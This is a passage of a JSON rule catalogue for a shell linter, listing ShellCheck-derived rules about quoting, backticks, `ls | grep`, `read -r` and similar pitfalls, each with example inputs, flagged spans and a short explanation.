        "shell"
      ],
      "options": [],
      "presets": [
        "shell/shellcheck"
      ],
      "upstream": [
        {
          "id": "SC2045",
          "partial": false,
          "tool": "shellcheck",
          "url": "https://www.shellcheck.net/wiki/SC2045"
        }
      ],
      "why": "`ls` output is for people. It is split on blanks and globbed, a file name with a space or a newline breaks the loop, and `ls` may change the names it prints.\n\nTo fix, loop over a glob: `for f in ./*`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a command substitution written with backticks.",
      "example": {
        "config": null,
        "fixed": "now=$(date)\necho \"$(date +%s)\" done\nesc=`printf \"\\\\n\"`\n",
        "input": "now=`date`\necho \"`date +%s`\" done\nesc=`printf \"\\\\n\"`\n",
        "language": "shell",
        "other_lines": [],
        "spans": [
          {
            "column": 5,
            "length": 6,
            "line": 1
          },
          {
            "column": 7,
            "length": 10,
            "line": 2
          },
          {
            "column": 5,
            "length": 14,
            "line": 3
          }
        ]
      },
      "fix": "safe",
      "id": "no-backticks",
      "languages": [
        "shell"
      ],
      "options": [],
      "presets": [
        "shell/shellcheck"
      ],
      "upstream": [
        {
          "id": "SC2006",
          "partial": false,
          "tool": "shellcheck",
          "url": "https://www.shellcheck.net/wiki/SC2006"
        }
      ],
      "why": "Backticks cannot be nested without escaping, treat backslashes inside in their own way, and are easy to mistake for a quote. `$(...)` nests, and the quoting inside it is the same as outside.\n\nTo fix, write `$(...)`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a call of `egrep` or `fgrep`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "cat in.txt | grep x\ncat -n in.txt | grep x\ncat a b | grep x\ngrep x in.txt\necho $(date)\necho \"$(date)\"\necho `date`\necho \"$(date) now\" $x\necho \"$(date)s\"\nread line\nread -r line\nread -p \"x\" -r line\nprintf \"$fmt\"\nprintf \"%s $x\\n\" y\nprintf \"a$x\" y\nprintf '%s' \"$x\" \"a $b\"\nprintf 'literal $x'\ntrap \"rm $tmp\" EXIT\ntrap 'rm $tmp' EXIT\ntrap \"echo bye\" EXIT\nls | grep txt\nps aux | grep nginx\ngrep x f | wc -l\negrep x f\nfgrep x f\nwhich git\ntest -f x && echo yes || cleanup\ntest -f x && echo yes || echo no\n[ -n x ] && (a || b)\na && b\na || b && c\nls -l | grep txt | wc -l\nwhich git\n",
        "language": "shell",
        "other_lines": [
          1,
          5,
          6,
          7,
          10,
          13,
          15,
          18,
          21,
          22,
          23,
          26,
          27,
          32,
          33
        ],
        "spans": [
          {
            "column": 1,
            "length": 9,
            "line": 24
          },
          {
            "column": 1,
            "length": 9,
            "line": 25
          }
        ]
      },
      "fix": null,
      "id": "no-egrep",
      "languages": [
        "shell"
      ],
      "options": [],
      "presets": [
        "shell/shellcheck"
      ],
      "upstream": [
        {
          "id": "SC2196",
          "partial": false,
          "tool": "shellcheck",
          "url": "https://www.shellcheck.net/wiki/SC2196"
        },
        {
          "id": "SC2197",
          "partial": false,
          "tool": "shellcheck",
          "url": "https://www.shellcheck.net/wiki/SC2197"
        }
      ],
      "why": "They are obsolescent wrappers of `grep -E` and `grep -F`, and recent versions of GNU grep warn about them. They are not in every system.\n\nTo fix, write `grep -E` or `grep -F`."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports a pipeline from `ls` into `grep`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "cat in.txt | grep x\ncat -n in.txt | grep x\ncat a b | grep x\ngrep x in.txt\necho $(date)\necho \"$(date)\"\necho `date`\necho \"$(date) now\" $x\necho \"$(date)s\"\nread line\nread -r line\nread -p \"x\" -r line\nprintf \"$fmt\"\nprintf \"%s $x\\n\" y\nprintf \"a$x\" y\nprintf '%s' \"$x\" \"a $b\"\nprintf 'literal $x'\ntrap \"rm $tmp\" EXIT\ntrap 'rm $tmp' EXIT\ntrap \"echo bye\" EXIT\nls | grep txt\nps aux | grep nginx\ngrep x f | wc -l\negrep x f\nfgrep x f\nwhich git\ntest -f x && echo yes || cleanup\ntest -f x && echo yes || echo no\n[ -n x ] && (a || b)\na && b\na || b && c\nls -l | grep txt | wc -l\nwhich git\n",
        "language": "shell",
        "other_lines": [
          1,
          5,
          6,
          7,
          10,
          13,
          15,
          18,
          22,
          23,
          24,
          25,
          26,
          27,
          33
        ],
        "spans": [
          {
            "column": 1,
            "length": 13,
            "line": 21
          },
          {
            "column": 1,
            "length": 24,
            "line": 32
          }
        ]
      },
      "fix": null,
      "id": "no-ls-grep",
      "languages": [
        "shell"
      ],
      "options": [],
      "presets": [
        "shell/shellcheck"
      ],
      "upstream": [
        {
          "id": "SC2010",
          "partial": false,
          "tool": "shellcheck",
          "url": "https://www.shellcheck.net/wiki/SC2010"
        }
      ],
      "why": "`ls` output is for people and `grep` matches lines, so a file name with a newline is split and one that looks like a line of output is matched wrongly. A glob or `find` selects names without parsing text.\n\nTo fix, use a glob (`ls *foo*`, or `for f in *foo*`) or `find`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a pipeline from `ps` into `grep`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "cat in.txt | grep x\ncat -n in.txt | grep x\ncat a b | grep x\ngrep x in.txt\necho $(date)\necho \"$(date)\"\necho `date`\necho \"$(date) now\" $x\necho \"$(date)s\"\nread line\nread -r line\nread -p \"x\" -r line\nprintf \"$fmt\"\nprintf \"%s $x\\n\" y\nprintf \"a$x\" y\nprintf '%s' \"$x\" \"a $b\"\nprintf 'literal $x'\ntrap \"rm $tmp\" EXIT\ntrap 'rm $tmp' EXIT\ntrap \"echo bye\" EXIT\nls | grep txt\nps aux | grep nginx\ngrep x f | wc -l\negrep x f\nfgrep x f\nwhich git\ntest -f x && echo yes || cleanup\ntest -f x && echo yes || echo no\n[ -n x ] && (a || b)\na && b\na || b && c\nls -l | grep txt | wc -l\nwhich git\n",
        "language": "shell",
        "other_lines": [
          1,
          5,
          6,
          7,
          10,
          13,
          15,
          18,
          21,
          23,
          24,
          25,
          26,
          27,
          32,
          33
        ],
        "spans": [
          {
            "column": 1,
            "length": 19,
            "line": 22
          }
        ]
      },
      "fix": null,
      "id": "no-ps-grep",
      "languages": [
        "shell"
      ],
      "options": [],
      "presets": [
        "shell/shellcheck"
      ],
      "upstream": [
        {
          "id": "SC2009",
          "partial": false,
          "tool": "shellcheck",
          "url": "https://www.shellcheck.net/wiki/SC2009"
        }
      ],
      "why": "`ps | grep name` also matches the `grep` process itself, and any process whose command line contains the text, so the test is true when nothing runs.\n\nTo fix, use `pgrep name`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a call of `which`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "cat in.txt | grep x\ncat -n in.txt | grep x\ncat a b | grep x\ngrep x in.txt\necho $(date)\necho \"$(date)\"\necho `date`\necho \"$(date) now\" $x\necho \"$(date)s\"\nread line\nread -r line\nread -p \"x\" -r line\nprintf \"$fmt\"\nprintf \"%s $x\\n\" y\nprintf \"a$x\" y\nprintf '%s' \"$x\" \"a $b\"\nprintf 'literal $x'\ntrap \"rm $tmp\" EXIT\ntrap 'rm $tmp' EXIT\ntrap \"echo bye\" EXIT\nls | grep txt\nps aux | grep nginx\ngrep x f | wc -l\negrep x f\nfgrep x f\nwhich git\ntest -f x && echo yes || cleanup\ntest -f x && echo yes || echo no\n[ -n x ] && (a || b)\na && b\na || b && c\nls -l | grep txt | wc -l\nwhich git\n",
        "language": "shell",
        "other_lines": [
          1,
          5,
          6,
          7,
          10,
          13,
          15,
          18,
          21,
          22,
          23,
          24,
          25,
          27,
          32
        ],
        "spans": [
          {
            "column": 1,
            "length": 9,
            "line": 26
          },
          {
            "column": 1,
            "length": 9,
            "line": 33
          }
        ]
      },
      "fix": null,
      "id": "no-which",
      "languages": [
        "shell"
      ],
      "options": [],
      "presets": [
        "shell/shellcheck"
      ],
      "upstream": [
        {
          "id": "SC2230",
          "partial": false,
          "tool": "shellcheck",
          "url": "https://www.shellcheck.net/wiki/SC2230"
        }
      ],
      "why": "`which` is not part of POSIX, and its output and exit status differ between systems (some print an error message and exit 0). `command -v` is built into the shell and is portable.\n\nTo fix, write `command -v name`."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a `printf` whose format string contains an expansion and no `%`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "cat in.txt | grep x\ncat -n in.txt | grep x\ncat a b | grep x\ngrep x in.txt\necho $(date)\necho \"$(date)\"\necho `date`\necho \"$(date) now\" $x\necho \"$(date)s\"\nread line\nread -r line\nread -p \"x\" -r line\nprintf \"$fmt\"\nprintf \"%s $x\\n\" y\nprintf \"a$x\" y\nprintf '%s' \"$x\" \"a $b\"\nprintf 'literal $x'\ntrap \"rm $tmp\" EXIT\ntrap 'rm $tmp' EXIT\ntrap \"echo bye\" EXIT\nls | grep txt\nps aux | grep nginx\ngrep x f | wc -l\negrep x f\nfgrep x f\nwhich git\ntest -f x && echo yes || cleanup\ntest -f x && echo yes || echo no\n[ -n x ] && (a || b)\na && b\na || b && c\nls -l | grep txt | wc -l\nwhich git\n",
        "language": "shell",
        "other_lines": [
          1,
          5,
          6,
          7,
          10,
          18,
          21,
          22,
          23,
          24,
          25,
          26,
          27,
          32,
          33
        ],
        "spans": [
          {
            "column": 1,
            "length": 13,
            "line": 13
          },
          {
            "column": 1,
            "length": 14,
            "line": 15
          }
        ]
      },
      "fix": null,
      "id": "printf-variable-format",
      "languages": [
        "shell"
      ],
      "options": [],
      "presets": [
        "shell/shellcheck"
      ],
      "upstream": [
        {
          "id": "SC2059",
          "note": "Does not know which variables hold only safe text.",
          "partial": true,
          "tool": "shellcheck",
          "url": "https://www.shellcheck.net/wiki/SC2059"
        }
      ],
      "why": "The value is the format, so a `%` or a backslash in it is read as an instruction, and the output is wrong or an error (a file name with `%s` in it). The data belongs in an argument.\n\nTo fix, write `printf '%s\\n' \"$var\"`."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports an unquoted `$var` or `${var}` among the elements of an array assignment, as in `arr=($x y)`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "a=\"x \"\\\"\"$v\"\\\"\" y\"\nd=($(cmd \"$a\"))\nl+=($dl)\nx=($dl \"q\" \"$m\")\nflunk \"failed: $@\"\necho \"a ${s[@]} b\"\necho \"$@\" \"${s[@]}\"\nPGHOST= psql\nIFS= read -r line\nPGHOST=db psql\nunset words[0]\nunset \"words[0]\"\n[[ $a == $b ]]\n[[ $a == \"$b\" ]]\nx=$(echo $y)\nx=$(echo \"a\" | tr a b)\n[[ $(ps | grep x) ]]\nfor l in $(cat file); do :; done\nfor l in \"$@\"; do :; done\neval \"f ${args[@]}\"\nA=1 echo \"$A\"\nA=1 cmd \"$B\"\nA=1 cmd \"$A_\"\necho \"$FUNCNAME\" \"${FUNCNAME[0]}\"\n",
        "language": "shell",
        "other_lines": [
          1,
          2,
          5,
          6,
          8,
          11,
          13,
          15,
          17,
          18,
          20,
          21,
          24
        ],
        "spans": [
          {
            "column": 5,
            "length": 3,
            "line": 3
          },
          {
            "column": 4,
            "length": 3,
            "line": 4
          }
        ]
      },
      "fix": null,
      "id": "quote-array-element",
      "languages": [
        "shell"
      ],
      "options": [],
      "presets": [
        "shell/shellcheck"
      ],
      "upstream": [
        {
          "id": "SC2206",
          "note": "`$var` and `${var}` among the elements, not other expansions.",
          "partial": true,
          "tool": "shellcheck",
          "url": "https://www.shellcheck.net/wiki/SC2206"
        }
      ],
      "why": "The expansion is split into words and globbed, so one element becomes several, or none, and a `*` becomes file names. The shell does not know which variables hold a single word.\n\nTo fix, quote it: `arr=(\"$x\" y)`."
    },
    {
      "category": "correctness",
      "default_level": "error",
      "description": "Reports an unquoted `$@` or `${array[@]}` in the arguments of a command.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "rm $(cat list)\nrm \"$(cat list)\"\nrm a$(b) `c`\nrm '$(literal)' \"$(ok)\"\necho $((1 + 2))\ndiff <(sort a) <(sort b); echo <(date)\nrm $file ${dir}/x \"$file\" '$file' $1 $?\nrm --opt=$value \"x $y\"\ncp $@ dir\ncp \"$@\" dir \"${arr[@]}\" ${arr[@]}\ncp $* dir ${arr[*]}\nnow=`date`\necho `date` \"`date`\" 'a`b`'\n[ -n `foo` ]\n[ $x -eq 0 ]\n[[ $x = $y ]] && [[ -n $(foo) ]]\nexport out=$(make)\nlocal out=\"$(make)\" x=1\ndeclare plain=1\nfor f in $files; do :; done\n",
        "language": "shell",
        "other_lines": [
          1,
          3,
          7,
          8,
          11,
          13,
          14,
          15,
          17,
          18
        ],
        "spans": [
          {
            "column": 4,
            "length": 2,
            "line": 9
          },
          {
            "column": 25,
            "length": 9,
            "line": 10
          }
        ]
      },
      "fix": null,
      "id": "quote-at-expansion",
      "languages": [
        "shell"
      ],
      "options": [],
      "presets": [
        "shell/shellcheck"
      ],
      "upstream": [
        {
          "id": "SC2068",
          "note": "Only the arguments of a command.",
          "partial": true,
          "tool": "shellcheck",
          "url": "https://www.shellcheck.net/wiki/SC2068"
        }
      ],
      "why": "Unquoted, each element is split again on blanks and globbed, so the arguments that were separate words are cut apart. Only `\"$@\"` keeps each argument as one word.\n\nTo fix, write `\"$@\"` or `\"${array[@]}\"`."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports an unquoted `$(...)` or backtick substitution in the arguments of a command.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "cat in.txt | grep x\ncat -n in.txt | grep x\ncat a b | grep x\ngrep x in.txt\necho $(date)\necho \"$(date)\"\necho `date`\necho \"$(date) now\" $x\necho \"$(date)s\"\nread line\nread -r line\nread -p \"x\" -r line\nprintf \"$fmt\"\nprintf \"%s $x\\n\" y\nprintf \"a$x\" y\nprintf '%s' \"$x\" \"a $b\"\nprintf 'literal $x'\ntrap \"rm $tmp\" EXIT\ntrap 'rm $tmp' EXIT\ntrap \"echo bye\" EXIT\nls | grep txt\nps aux | grep nginx\ngrep x f | wc -l\negrep x f\nfgrep x f\nwhich git\ntest -f x && echo yes || cleanup\ntest -f x && echo yes || echo no\n[ -n x ] && (a || b)\na && b\na || b && c\nls -l | grep txt | wc -l\nwhich git\n",
        "language": "shell",
        "other_lines": [
          1,
          6,
          10,
          13,
          15,
          18,
          21,
          22,
          23,
          24,
          25,
          26,
          27,
          32,
          33
        ],
        "spans": [
          {
            "column": 6,
            "length": 7,
            "line": 5
          },
          {
            "column": 6,
            "length": 6,
            "line": 7
          }
        ]
      },
      "fix": null,
      "id": "quote-command-substitution",
      "languages": [
        "shell"
      ],
      "options": [],
      "presets": [
        "shell/shellcheck"
      ],
      "upstream": [
        {
          "id": "SC2046",
          "partial": false,
          "tool": "shellcheck",
          "url": "https://www.shellcheck.net/wiki/SC2046"
        }
      ],
      "why": "The output is split on blanks and globbed, so a result with spaces becomes several arguments, an empty one disappears, and a `*` becomes file names.\n\nTo fix, quote it: `\"$(cmd)\"`."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a word made of two double-quoted strings with unquoted text between them, where a quoted part has a blank, as in `\"say \"hi\" now\"`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "a=\"x \"\\\"\"$v\"\\\"\" y\"\nd=($(cmd \"$a\"))\nl+=($dl)\nx=($dl \"q\" \"$m\")\nflunk \"failed: $@\"\necho \"a ${s[@]} b\"\necho \"$@\" \"${s[@]}\"\nPGHOST= psql\nIFS= read -r line\nPGHOST=db psql\nunset words[0]\nunset \"words[0]\"\n[[ $a == $b ]]\n[[ $a == \"$b\" ]]\nx=$(echo $y)\nx=$(echo \"a\" | tr a b)\n[[ $(ps | grep x) ]]\nfor l in $(cat file); do :; done\nfor l in \"$@\"; do :; done\neval \"f ${args[@]}\"\nA=1 echo \"$A\"\nA=1 cmd \"$B\"\nA=1 cmd \"$A_\"\necho \"$FUNCNAME\" \"${FUNCNAME[0]}\"\n",
        "language": "shell",
        "other_lines": [
          2,
          3,
          4,
          5,
          6,
          8,
          11,
          13,
          15,
          17,
          18,
          20,
          21,
          24
        ],
        "spans": [
          {
            "column": 3,
            "length": 16,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "quote-in-quotes",
      "languages": [
        "shell"
      ],
      "options": [],
      "presets": [
        "shell/shellcheck"
      ],
      "upstream": [
        {
          "id": "SC2140",
          "note": "Only a word whose middle part touches a space inside one of the two strings (the `\"a \"\\\"\"$b\"\\\"\"` idiom).",
          "partial": true,
          "tool": "shellcheck",
          "url": "https://www.shellcheck.net/wiki/SC2140"
        }
      ],
      "why": "It is usually a quote that was meant to be inside the string, written without a backslash. The text between the quotes is outside any quotes, so it is split and globbed, and the words are not what the string looks like.\n\nTo fix, escape the inner quotes (`\"say \\\"hi\\\" now\"`) or use single quotes outside."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports an unquoted `$*` or `${array[*]}` in the arguments of a command.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "rm $(cat list)\nrm \"$(cat list)\"\nrm a$(b) `c`\nrm '$(literal)' \"$(ok)\"\necho $((1 + 2))\ndiff <(sort a) <(sort b); echo <(date)\nrm $file ${dir}/x \"$file\" '$file' $1 $?\nrm --opt=$value \"x $y\"\ncp $@ dir\ncp \"$@\" dir \"${arr[@]}\" ${arr[@]}\ncp $* dir ${arr[*]}\nnow=`date`\necho `date` \"`date`\" 'a`b`'\n[ -n `foo` ]\n[ $x -eq 0 ]\n[[ $x = $y ]] && [[ -n $(foo) ]]\nexport out=$(make)\nlocal out=\"$(make)\" x=1\ndeclare plain=1\nfor f in $files; do :; done\n",
        "language": "shell",
        "other_lines": [
          1,
          3,
          7,
          8,
          9,
          10,
          13,
          14,
          15,
          17,
          18
        ],
        "spans": [
          {
            "column": 4,
            "length": 2,
            "line": 11
          },
          {
            "column": 11,
            "length": 9,
            "line": 11
          }
        ]
      },
      "fix": null,
      "id": "quote-star-expansion",
      "languages": [
        "shell"
      ],
      "options": [],
      "presets": [
        "shell/shellcheck"
      ],
      "upstream": [
        {
          "id": "SC2048",
          "note": "Only the arguments of a command.",
          "partial": true,
          "tool": "shellcheck",
          "url": "https://www.shellcheck.net/wiki/SC2048"
        }
      ],
      "why": "Unquoted, it is split on blanks and globbed, and an argument that held a space becomes two. `$*` is rarely what is wanted.\n\nTo fix, write `\"$@\"`, or `\"$*\"` if one string is meant."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports an unquoted `$var` or `${var}` in the arguments of a command. The rule does not know which variables hold only a number or a single word.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "rm $(cat list)\nrm \"$(cat list)\"\nrm a$(b) `c`\nrm '$(literal)' \"$(ok)\"\necho $((1 + 2))\ndiff <(sort a) <(sort b); echo <(date)\nrm $file ${dir}/x \"$file\" '$file' $1 $?\nrm --opt=$value \"x $y\"\ncp $@ dir\ncp \"$@\" dir \"${arr[@]}\" ${arr[@]}\ncp $* dir ${arr[*]}\nnow=`date`\necho `date` \"`date`\" 'a`b`'\n[ -n `foo` ]\n[ $x -eq 0 ]\n[[ $x = $y ]] && [[ -n $(foo) ]]\nexport out=$(make)\nlocal out=\"$(make)\" x=1\ndeclare plain=1\nfor f in $files; do :; done\n",
        "language": "shell",
        "other_lines": [
          1,
          3,
          9,
          10,
          13,
          14,
          17,
          18
        ],
        "spans": [
          {
            "column": 4,
            "length": 5,
            "line": 7
          },
          {
            "column": 10,
            "length": 8,
            "line": 7
          },
          {
            "column": 35,
            "length": 2,
            "line": 7
          },
          {
            "column": 4,
            "length": 12,
            "line": 8
          },
          {
            "column": 4,
            "length": 2,
            "line": 11
          },
          {
            "column": 11,
            "length": 9,
            "line": 11
          },
          {
            "column": 3,
            "length": 2,
            "line": 15
          }
        ]
      },
      "fix": null,
      "id": "quote-variable",
      "languages": [
        "shell"
      ],
      "options": [],
      "presets": [
        "shell/shellcheck"
      ],
      "upstream": [
        {
          "id": "SC2086",
          "note": "The arguments of a command and the words of `[ ]`; not the command name, assignments, loop lists, redirect targets, `[[ ]]` or the inside of `$(...)`, and it does not know which variables hold a number or a literal.",
          "partial": true,
          "tool": "shellcheck",
          "url": "https://www.shellcheck.net/wiki/SC2086"
        }
      ],
      "why": "The value is split on blanks and globbed, so a value with a space becomes several arguments, an empty one disappears (and a test such as `[ $x = a ]` becomes a syntax error), and a `*` becomes file names.\n\nTo fix, quote it: `\"$var\"`."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a `read` without `-r`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "cat in.txt | grep x\ncat -n in.txt | grep x\ncat a b | grep x\ngrep x in.txt\necho $(date)\necho \"$(date)\"\necho `date`\necho \"$(date) now\" $x\necho \"$(date)s\"\nread line\nread -r line\nread -p \"x\" -r line\nprintf \"$fmt\"\nprintf \"%s $x\\n\" y\nprintf \"a$x\" y\nprintf '%s' \"$x\" \"a $b\"\nprintf 'literal $x'\ntrap \"rm $tmp\" EXIT\ntrap 'rm $tmp' EXIT\ntrap \"echo bye\" EXIT\nls | grep txt\nps aux | grep nginx\ngrep x f | wc -l\negrep x f\nfgrep x f\nwhich git\ntest -f x && echo yes || cleanup\ntest -f x && echo yes || echo no\n[ -n x ] && (a || b)\na && b\na || b && c\nls -l | grep txt | wc -l\nwhich git\n",
        "language": "shell",
        "other_lines": [
          1,
          5,
          6,
          7,
          13,
          15,
          18,
          21,
          22,
          23,
          24,
          25,
          26,
          27,
          32,
          33
        ],
        "spans": [
          {
            "column": 1,
            "length": 9,
            "line": 10
          }
        ]
      },
      "fix": null,
      "id": "read-without-raw",
      "languages": [
        "shell"
      ],
      "options": [],
      "presets": [
        "shell/shellcheck"
      ],
      "upstream": [
        {
          "id": "SC2162",
          "partial": false,
          "tool": "shellcheck",
          "url": "https://www.shellcheck.net/wiki/SC2162"
        }
      ],
      "why": "Without `-r`, `read` treats a backslash in the input as an escape: it removes it and joins the next line. Paths and text with a backslash come out wrong.\n\nTo fix, write `read -r`."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports an unquoted `$(...)` among the elements of an array assignment, as in `arr=($(cmd))`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "a=\"x \"\\\"\"$v\"\\\"\" y\"\nd=($(cmd \"$a\"))\nl+=($dl)\nx=($dl \"q\" \"$m\")\nflunk \"failed: $@\"\necho \"a ${s[@]} b\"\necho \"$@\" \"${s[@]}\"\nPGHOST= psql\nIFS= read -r line\nPGHOST=db psql\nunset words[0]\nunset \"words[0]\"\n[[ $a == $b ]]\n[[ $a == \"$b\" ]]\nx=$(echo $y)\nx=$(echo \"a\" | tr a b)\n[[ $(ps | grep x) ]]\nfor l in $(cat file); do :; done\nfor l in \"$@\"; do :; done\neval \"f ${args[@]}\"\nA=1 echo \"$A\"\nA=1 cmd \"$B\"\nA=1 cmd \"$A_\"\necho \"$FUNCNAME\" \"${FUNCNAME[0]}\"\n",
        "language": "shell",
        "other_lines": [
          1,
          3,
          4,
          5,
          6,
          8,
          11,
          13,
          15,
          17,
          18,
          20,
          21,
          24
        ],
        "spans": [
          {
            "column": 4,
            "length": 11,
            "line": 2
          }
        ]
      },
      "fix": null,
      "id": "split-command-output",
      "languages": [
        "shell"
      ],
      "options": [],
      "presets": [
        "shell/shellcheck"
      ],
      "upstream": [
        {
          "id": "SC2207",
          "partial": false,
          "tool": "shellcheck",
          "url": "https://www.shellcheck.net/wiki/SC2207"
        }
      ],
      "why": "The output is split on blanks and globbed, so a line with a space becomes several elements and a `*` becomes file names.\n\nTo fix, read the lines with `mapfile -t arr < <(cmd)` (bash) or a `while read` loop."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports a `[ ]` test that joins conditions with `-a` or `-o`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "if [ $? -eq 0 ]; then :; fi\nif [ \"$?\" != 0 ]; then :; fi\n[ $x -eq 0 ]\n[ -f a -o -f b ]\n[ -a file ]\n[[ -f a && -f b ]]\n[ ! -z \"$x\" ]\n[ ! -n \"$x\" ]\n[ -z \"$x\" ]\nfor f in $(ls); do :; done\nfor f in `ls /tmp`; do :; done\nfor f in *.txt; do :; done\nfor f in $(find . -name x); do :; done\nfind . | xargs rm\nfind . -print0 | xargs -0 rm\nfind . | xargs -0 rm\nfind . -name x | wc -l\n",
        "language": "shell",
        "other_lines": [
          1,
          2,
          7,
          8,
          10,
          11,
          13,
          14
        ],
        "spans": [
          {
            "column": 1,
            "length": 16,
            "line": 4
          }
        ]
      },
      "fix": null,
      "id": "test-and-or",
      "languages": [
        "shell"
      ],
      "options": [],
      "presets": [
        "shell/shellcheck"
      ],
      "upstream": [
        {
          "id": "SC2166",
          "partial": false,
          "tool": "shellcheck",
          "url": "https://www.shellcheck.net/wiki/SC2166"
        }
      ],
      "why": "POSIX marks `-a` and `-o` obsolescent: with operands that look like operators (`[ \"$a\" = -o -a x ]`) the result is not defined and shells disagree. `&&` and `||` between two tests have no such ambiguity.\n\nTo fix, write `[ a ] && [ b ]`, or use `[[ ]]`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a test that compares `$?` with a number, as in `[ $? -eq 0 ]`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "if [ $? -eq 0 ]; then :; fi\nif [ \"$?\" != 0 ]; then :; fi\n[ $x -eq 0 ]\n[ -f a -o -f b ]\n[ -a file ]\n[[ -f a && -f b ]]\n[ ! -z \"$x\" ]\n[ ! -n \"$x\" ]\n[ -z \"$x\" ]\nfor f in $(ls); do :; done\nfor f in `ls /tmp`; do :; done\nfor f in *.txt; do :; done\nfor f in $(find . -name x); do :; done\nfind . | xargs rm\nfind . -print0 | xargs -0 rm\nfind . | xargs -0 rm\nfind . -name x | wc -l\n",
        "language": "shell",
        "other_lines": [
          4,
          7,
          8,
          10,
          11,
          13,
          14
        ],
        "spans": [
          {
            "column": 4,
            "length": 12,
            "line": 1
          },
          {
            "column": 4,
            "length": 13,
            "line": 2
          }
        ]
      },
      "fix": null,
      "id": "test-exit-status",
      "languages": [
        "shell"
      ],
      "options": [],
      "presets": [
        "shell/shellcheck"
      ],
      "upstream": [
        {
          "id": "SC2181",
          "note": "Only `[ ]`/`[[ ]]` tests that compare `$?` directly.",
          "partial": true,
          "tool": "shellcheck",
          "url": "https://www.shellcheck.net/wiki/SC2181"
        }
      ],
      "why": "`if cmd` already tests the status. A separate test of `$?` is one more line, and `$?` is changed by any command that runs in between.\n\nTo fix, test the command: `if cmd; then`."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a `[[ ]]` or `[ -n ]` / `[ -z ]` test of the output of a pipeline or command that ends in `grep`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "a=\"x \"\\\"\"$v\"\\\"\" y\"\nd=($(cmd \"$a\"))\nl+=($dl)\nx=($dl \"q\" \"$m\")\nflunk \"failed: $@\"\necho \"a ${s[@]} b\"\necho \"$@\" \"${s[@]}\"\nPGHOST= psql\nIFS= read -r line\nPGHOST=db psql\nunset words[0]\nunset \"words[0]\"\n[[ $a == $b ]]\n[[ $a == \"$b\" ]]\nx=$(echo $y)\nx=$(echo \"a\" | tr a b)\n[[ $(ps | grep x) ]]\nfor l in $(cat file); do :; done\nfor l in \"$@\"; do :; done\neval \"f ${args[@]}\"\nA=1 echo \"$A\"\nA=1 cmd \"$B\"\nA=1 cmd \"$A_\"\necho \"$FUNCNAME\" \"${FUNCNAME[0]}\"\n",
        "language": "shell",
        "other_lines": [
          1,
          2,
          3,
          4,
          5,
          6,
          8,
          11,
          13,
          15,
          18,
          20,
          21,
          24
        ],
        "spans": [
          {
            "column": 1,
            "length": 20,
            "line": 17
          }
        ]
      },
      "fix": null,
      "id": "test-grep-output",
      "languages": [
        "shell"
      ],
      "options": [],
      "presets": [
        "shell/shellcheck"
      ],
      "upstream": [
        {
          "id": "SC2143",
          "note": "Only a `[[ ]]` or `[ -n/-z ]` over a substitution that contains `grep`.",
          "partial": true,
          "tool": "shellcheck",
          "url": "https://www.shellcheck.net/wiki/SC2143"
        }
      ],
      "why": "The output is captured only to see whether it is empty. `grep -q` does that, stops at the first match and sets the status.\n\nTo fix, write `if grep -q ...; then`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a test that negates `-z` or `-n`, as in `[ ! -z \"$x\" ]`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "if [ $? -eq 0 ]; then :; fi\nif [ \"$?\" != 0 ]; then :; fi\n[ $x -eq 0 ]\n[ -f a -o -f b ]\n[ -a file ]\n[[ -f a && -f b ]]\n[ ! -z \"$x\" ]\n[ ! -n \"$x\" ]\n[ -z \"$x\" ]\nfor f in $(ls); do :; done\nfor f in `ls /tmp`; do :; done\nfor f in *.txt; do :; done\nfor f in $(find . -name x); do :; done\nfind . | xargs rm\nfind . -print0 | xargs -0 rm\nfind . | xargs -0 rm\nfind . -name x | wc -l\n",
        "language": "shell",
        "other_lines": [
          1,
          2,
          4,
          10,
          11,
          13,
          14
        ],
        "spans": [
          {
            "column": 1,
            "length": 13,
            "line": 7
          },
          {
            "column": 1,
            "length": 13,
            "line": 8
          }
        ]
      },
      "fix": null,
      "id": "test-negated-empty",
      "languages": [
        "shell"
      ],
      "options": [],
      "presets": [
        "shell/shellcheck"
      ],
      "upstream": [
        {
          "id": "SC2236",
          "partial": false,
          "tool": "shellcheck",
          "url": "https://www.shellcheck.net/wiki/SC2236"
        }
      ],
      "why": "`-n` is the opposite of `-z`, so the negation can be dropped, and a double negative is hard to read.\n\nTo fix, write `[ -n \"$x\" ]`."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports a `trap` whose command is double-quoted and contains an expansion, as in `trap \"rm $tmp\" EXIT`.",
      "example": {
        "config": null,
